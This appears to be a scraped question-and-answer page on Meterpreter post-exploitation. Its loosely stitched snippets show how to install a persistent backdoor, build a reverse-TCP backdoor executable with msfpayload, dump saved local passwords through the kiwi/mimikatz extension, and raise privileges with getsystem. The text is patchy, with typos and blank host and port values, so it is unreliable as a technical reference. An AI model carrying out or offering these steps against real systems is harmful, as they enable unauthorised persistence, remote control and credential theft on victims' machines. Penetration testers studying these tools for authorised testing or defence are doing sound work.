In the meterpreter session we acquired on the target system, run the command “ run persistence -h “. It will show you all the options we can set for our backdoor. All the options are self explanatory. Now I want my backdoor to start as soon as the system starts.

How do I get back to my meterpreter session?

To get back to your Meterpreter session, just interact with it again. The cat command is identical to the command found on *nix systems. It displays the content of a file when it’s given as an argument. The cd and pwd commands are used to change and display current working directly on the target host.

How do I set up a persistent Meterpreter in metmetasploit?

Metasploit has a script named persistence that can enable us to set up a persistent Meterpreter (listener) on the victim’s system. First let’s take a look at the options that are available when we run this scrip by using the –h switch. At the Meterpreter prompt, type the following: meterpreter > run persistence -h

How do I create an executable backdoor with Metasploit?

You can create an executable backdoor with Metasploit using the msfpayload command, the following steps show you the process. You can do this from Metasploit or from your Linux prompt, in both cases the command is the same: # msfpayload windows/meterpreter/reverse_tcp lhost= lport= x > backdoor.exe.

How to retrieve saved password from local user account in meterpreter?

At the meterpreter session, we can enable option “kiwi” which will load mimikatz extensions Now run following command which will extract all saved credential of the local user account as shown in given below image, here also we had successfully retrieve password: 123 of user: raj

How does Meterpreter gain access to the target system?

It’s a good thing Meterpreter has a getsystem -command that will attempt a number of different techniques and exploits to gain local system privileges on the target system: The getuid -command retrieves the user that Meterpreter is running as.

How do I get the user that meterpreter is running?

The getuid -command retrieves the user that Meterpreter is running as. In the example above, this results in ‘NT AUTHORITY\\SYSTEM’, which is the username for the windows localsystem account.